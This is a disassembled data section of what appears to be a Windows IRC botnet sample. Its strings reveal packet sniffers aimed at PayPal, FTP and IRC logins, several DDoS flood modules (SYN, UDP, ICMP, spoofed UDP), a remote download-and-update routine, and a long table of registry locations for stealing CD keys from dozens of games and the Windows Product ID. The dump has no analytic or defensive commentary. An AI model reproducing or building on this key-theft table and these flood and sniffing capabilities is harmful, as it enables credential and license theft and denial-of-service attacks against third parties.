aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_410F2E+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_410F2E:loc_410F6Eo
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_410F2E+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_410F2E+5o
		align 4
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_410FB5+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_410FB5:loc_410FF5o
		align 4
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_410FB5+2Bo
		align 4
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_410FB5+5o
		align 4
unk_436C74	db  2Dh	; -		; DATA XREF: sub_41101A+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_436CAC	db  2Dh	; -		; DATA XREF: sub_41101A+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_436CE4	db  2Dh	; -		; DATA XREF: sub_41101A+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_436D18	db  2Dh	; -		; DATA XREF: sub_41101A+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_436D4C	db  2Dh	; -		; DATA XREF: sub_41101A+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_436D80	db  2Dh	; -		; DATA XREF: sub_41101A+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 10h
unk_436DB0	db  2Dh	; -		; DATA XREF: sub_41101A+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
unk_436DDC	db  2Dh	; -		; DATA XREF: sub_41140D+5Bo
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_436E04	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_4114BF+302o
		dd 203A726Fh, 6425h
dword_436E20	dd 736F6464h, 6E61722Eh, 6D6F64h ; DATA	XREF: sub_4114BF:loc_4115EBo
dword_436E2C	dd 736F6464h, 6B63612Eh, 0 ; DATA XREF:	sub_4114BF:loc_4115CFo
dword_436E38	dd 736F6464h, 6E79732Eh, 0 ; DATA XREF:	sub_4114BF+F1o
unk_436E44	db  2Dh	; -		; DATA XREF: sub_411854+397o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aDoneWithSFlood	db 'done with %s flood to %s. sent %d packets @ %dKB/sec (%dMB).',0
		align 10h
unk_436E90	db  2Dh	; -		; DATA XREF: sub_411854+307o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aErrorSendingPa	db 'error sending packets to %s. %d packets sent, returned %d',0
		align 4
unk_436ED8	db  2Dh	; -		; DATA XREF: sub_411854+12Ao
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidTargetI	db 'invalid target ip',0
		align 4
unk_436EF8	db  2Dh	; -		; DATA XREF: sub_411854+C2o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aSetsockoptFail	db 'setsockopt() failed, returned %d',0
		align 4
unk_436F28	db  2Dh	; -		; DATA XREF: sub_411854+49o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aSocketFailedRe	db 'socket() failed, returned %d',0
		align 4
unk_436F54	db  2Dh	; -		; DATA XREF: sub_411C3B+13Co
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFinishedSendin	db 'finished sending pings to %s',0
		align 10h
unk_436F80	db  2Dh	; -		; DATA XREF: sub_411C3B+6Eo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aErrorSendingPi	db 'error sending pings to %s',0
		align 4
unk_436FA8	db  2Dh	; -		; DATA XREF: sub_411DC7+1C6o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFinishedSend_0	db '- finished sending packets to %s',0
		align 4
unk_436FD4	db  2Dh	; -		; DATA XREF: sub_411DC7+8Eo
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aErrorSending_0	db '- error sending packets to %s',0
		align 4
dword_436FFC	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_411FDD+48o
aDoneWithFloodI	db '- Done with flood (%iKB/sec)',0
		align 4
unk_437028	db  2Dh	; -		; DATA XREF: sub_412180+48o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloo_0	db '- Done with flood (%iKB/sec).',0
		align 10h
unk_437050	db  2Dh	; -		; DATA XREF: sub_41221C+27Do
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aSendErrorD_	db '- Send error: <%d>.',0
		align 10h
dword_437070	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_412528+4Do
aDoneWithFlood_	db '- Done with flood.',0
		align 10h
unk_437090	db  2Dh	; -		; DATA XREF: sub_4127E4+4EBo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aDoneWithSFlo_0	db '- Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 10h
unk_4370E0	db  2Dh	; -		; DATA XREF: sub_4127E4+44Fo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSending_1	db '- Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 10h
unk_437130	db  2Dh	; -		; DATA XREF: sub_4127E4+15Fo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidTarge_0	db '- Invalid target IP.',0
		align 10h
unk_437150	db  2Dh	; -		; DATA XREF: sub_4127E4+EEo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSetsockop	db '- Error: setsockopt() failed, returned: <%d>.',0
		align 4
unk_437188	db  2Dh	; -		; DATA XREF: sub_4127E4+70o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSocketFai	db '- Error: socket() failed, returned: <%d>.',0
		align 4
unk_4371BC	db  2Dh	; -		; DATA XREF: sub_412D7A+60o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aDoneWithFloodD	db '- Done with flood, %d packets sent.',0
		align 10h
unk_4371F0	db  2Dh	; -		; DATA XREF: sub_413078+47o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aStartingWisdom	db '- Starting Wisdom spoofed UDP flood thread.',0
		align 10h
unk_437230	db  2Dh	; -		; DATA XREF: sub_4130EE+348o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorSending_2	db '- Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError('
		db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0
unk_4372BC	db  2Dh	; -		; DATA XREF: sub_4130EE+2F6o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFinishedSend_1	db '- Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat'
		db 'a sent (~%dK/s).',0
		align 10h
unk_437320	db  2Dh	; -		; DATA XREF: sub_4130EE+CCo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aSendingPackets	db '- Sending packets to %s...',0
unk_43734C	db  2Dh	; -		; DATA XREF: sub_4130EE+80o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aInvalidTarge_1	db '- Invalid target IP. WSAGetLastError() returns %d.',0
unk_437390	db  2Dh	; -		; DATA XREF: sub_4130EE+63o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSe	db '- Error calling setsockopt(). WSAGetLastError() returns %d.',0
		align 10h
unk_4373E0	db  2Dh	; -		; DATA XREF: sub_4130EE+2Ao
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 4
unk_43740C	db  2Dh	; -		; DATA XREF: sub_413446+5Do
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0            ; DATA XREF: sub_4135E0+204o
		align 10h
dword_437440	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_413AE6+35o
dword_437454	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_413AE6+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_413B5E+60o
		align 4
dword_43748C	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_413BFE:loc_413C33o
dword_4374A0	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_413BFE+20o
dword_4374B4	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: sub_413C3F+DCo
		dd 6574656Ch, 0
dword_4374D0	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: sub_413C3F+3Fo
		dd 676E6974h, 2	dup(0)
		dd 80000001h
off_4374F4	dd offset aSoftwareValveC ; DATA XREF: sub_413D6E+Cr
					; sub_413D6E+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_437500	dd 2 dup(0)		; DATA XREF: sub_413D6E+26o
		dd 80000001h, 438684h, 438678h,	438668h, 2 dup(0)
		dd 80000001h, 438648h, 438644h,	438630h, 2 dup(0)
		dd 80000001h, 43860Ch, 438644h,	438600h, 2 dup(0)
		dd 80000001h, 4385DCh, 4385D4h,	4385C0h, 2 dup(0)
		dd 80000001h, 4385ACh, 43859Ch,	438580h, 2 dup(0)
		dd 80000001h, 43853Ch, 4386C4h,	438528h, 2 dup(0)
		dd 80000002h, 4384FCh, 4384F0h,	4384D0h, 2 dup(0)
		dd 80000002h, 43849Ch, 4386C4h,	438484h, 2 dup(0)
		dd 80000002h, 438450h, 4386C4h,	438438h, 2 dup(0)
		dd 80000002h, 438420h, 4386C4h,	438408h, 2 dup(0)
		dd 80000002h, 4383CCh, 43B9B8h,	4383BCh, 2 dup(0)
		dd 80000002h, 438384h, 43B9B8h,	438370h, 2 dup(0)
		dd 80000002h, 438324h, 43B9B8h,	438304h, 2 dup(0)
		dd 80000002h, 4382B4h, 43B9B8h,	438288h, 2 dup(0)
		dd 80000002h, 43824Ch, 43B9B8h,	438238h, 2 dup(0)
		dd 80000002h, 438200h, 43B9B8h,	4381F0h, 2 dup(0)
		dd 80000002h, 4381A0h, 43B9B8h,	438174h, 2 dup(0)
		dd 80000002h, 438134h, 43B9B8h,	438118h, 2 dup(0)
		dd 80000002h, 4380E8h, 43B9B8h,	4380C8h, 2 dup(0)
		dd 80000002h, 43808Ch, 43B9B8h,	438078h, 2 dup(0)
		dd 80000002h, 438030h, 43B9B8h,	438010h, 2 dup(0)
		dd 80000002h, 437FBCh, 43B9B8h,	437F8Ch, 2 dup(0)
		dd 80000002h, 437F3Ch, 43B9B8h,	437F10h, 2 dup(0)
		dd 80000002h, 437ED0h, 437EC8h,	437EA8h, 2 dup(0)
		dd 80000002h, 437E64h, 43B9B8h,	437E48h, 2 dup(0)
		dd 80000002h, 437DFCh, 43B9B8h,	437DD8h, 2 dup(0)
		dd 80000002h, 437DA4h, 43B9B8h,	437D98h, 2 dup(0)
		dd 80000002h, 437D64h, 43B9B8h,	437D58h, 2 dup(0)
		dd 80000002h, 437D24h, 43B9B8h,	437D18h, 2 dup(0)
		dd 80000002h, 437CE4h, 43B9B8h,	437CD8h, 2 dup(0)
		dd 80000002h, 437C9Ch, 43B9B8h,	437C88h, 2 dup(0)
		dd 80000002h, 437C4Ch, 43B9B8h,	437C38h, 2 dup(0)
		dd 80000002h, 437C08h, 4386C4h,	437BECh, 2 dup(0)
		dd 80000002h, 437BCCh, 437BC4h,	437BA0h, 2 dup(0)
		dd 80000002h, 437B84h, 437BC4h,	437B64h, 2 dup(0)
		dd 80000002h, 437B44h, 437BC4h,	437B20h, 2 dup(0)
		dd 80000002h, 437B08h, 437BC4h,	437B04h, 2 dup(0)
		dd 80000002h, 437AE8h, 437AD8h,	437AD0h, 2 dup(0)
		dd 80000002h, 437A9Ch, 4284A0h,	437A84h, 2 dup(0)
		dd 80000002h, 437A48h, 437A3Ch,	437A14h, 437A04h, 4379F0h
		dd 80000002h, 4379CCh, 4379C0h,	4379ACh, 43799Ch, 437994h
		dd 80000002h, 4379CCh, 4379C0h,	437968h, 43799Ch, 437960h
		dd 80000002h, 4379CCh, 4379C0h,	437930h, 43799Ch, 437928h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 10h
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 10h
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
aNox		db 'NOX',0
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 10h
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial_0	db 'Serial',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 10h
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 10h
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 10h
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 10h
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 10h
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 10h
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 10h
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 10h
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 10h
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 10h
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 10h
aProductid	db 'ProductId',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 10h
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 10h
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 10h
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: .nsp0:004374FCo
aCdkey		db 'CDKey',0            ; DATA XREF: .nsp0:004374F8o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: .nsp0:off_4374F4o
		align 4
asc_4386F4:				; DATA XREF: sub_413D6E+E9o
					; sub_413D6E+F4o
		unicode	0, <=>,0
dword_4386F8	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_413D6E+2Bo
		dd 0
unk_438710	db  2Dh	; -		; DATA XREF: sub_413F23+493o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_43873C	db  2Dh	; -		; DATA XREF: sub_413F23+485o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 10h
unk_438770	db  2Dh	; -		; DATA XREF: sub_413F23+3C9o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 4
dword_4387B4	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: sub_413F23+358o
		dd 25206465h, 73h
unk_4387D0	db  2Dh	; -		; DATA XREF: sub_413F23+2E1o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_438808	db  2Dh	; -		; DATA XREF: sub_413F23+262o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 10h
unk_438830	db  2Dh	; -		; DATA XREF: sub_413F23+1D8o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 4
unk_43885C	db  2Dh	; -		; DATA XREF: sub_413F23+195o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 4
unk_438884	db  2Dh	; -		; DATA XREF: sub_413F23+183o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 4
unk_4388AC	db  2Dh	; -		; DATA XREF: sub_413F23+77o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_4144CB:loc_41450Eo
					; sub_415F6F+104o
aInvalid	db 'Invalid',0          ; DATA XREF: sub_4144CB:loc_414508o
aDisk		db 'Disk',0             ; DATA XREF: sub_4144CB:loc_414502o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_4144CB:loc_4144FCo
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_4144CB:loc_4144F6o
		align 4
off_4388FC	dd offset word_4D4152	; DATA XREF: sub_4144CB:loc_4144F0o
word_438900	dw 3Fh			; DATA XREF: sub_4144CB+1Fo
					; sub_417368:loc_41746Ar
		align 4
aFailed		db 'failed',0           ; DATA XREF: sub_41455C:loc_414634o
					; sub_414677+3Bo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_41455C+6Bo
		align 4
unk_438914	db  2Dh	; -		; DATA XREF: sub_414677+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 10h
unk_438950	db  2Dh	; -		; DATA XREF: sub_414677+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
aA_3		db 'A:\',0              ; DATA XREF: sub_414749:loc_41478Eo
off_438990	dd offset aQ		; DATA XREF: sub_414BB2+5Cr
					; "q"
		dd offset aW_0		; "w"
		dd offset aE		; "e"
		dd offset aR		; "r"
		dd offset aT		; "t"
		dd offset aY		; "y"
		dd offset aU_0		; "u"
		dd offset aI_1		; "i"
		dd offset aP		; "p"
		dd offset aA_2		; "a"
		dd offset aS_1		; "s"
		dd offset aD_0		; "d"
		dd offset aF_1		; "f"
		dd offset aG		; "g"
		dd offset asc_4279D8	; "h"
		dd offset aJ_0		; "j"
		dd offset aK_0		; "k"
		dd offset asc_427948	; "l"
		dd offset aZ		; "z"
		dd offset asc_42BB94	; "x"
		dd offset aC_0		; "c"
		dd offset aV		; "v"
		dd offset aB		; "b"
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset aQ_0		; "Q"
		dd offset aW_1		; "W"
		dd offset aE_0		; "E"
		dd offset aR_0		; "R"
		dd offset aT_0		; "T"
		dd offset aY_0		; "Y"
		dd offset aU_1		; "U"
		dd offset aI		; "I"
		dd offset aO_0		; "O"
		dd offset aP_0		; "P"
		dd offset aA		; "A"
		dd offset aS_3		; "S"
		dd offset aD_3		; "D"
		dd offset aF_3		; "F"
		dd offset aG_0		; "G"
		dd offset asc_4394C0	; "H"
		dd offset aJ_1		; "J"
		dd offset aK_1		; "K"
		dd offset asc_4394B4	; "L"
		dd offset aZ_0		; "Z"
		dd offset asc_4394AC	; "X"
		dd offset aC_1		; "C"
		dd offset aV_0		; "V"
		dd offset aB_0		; "B"
		dd offset aN_0		; "N"
		dd offset aM_1		; "M"
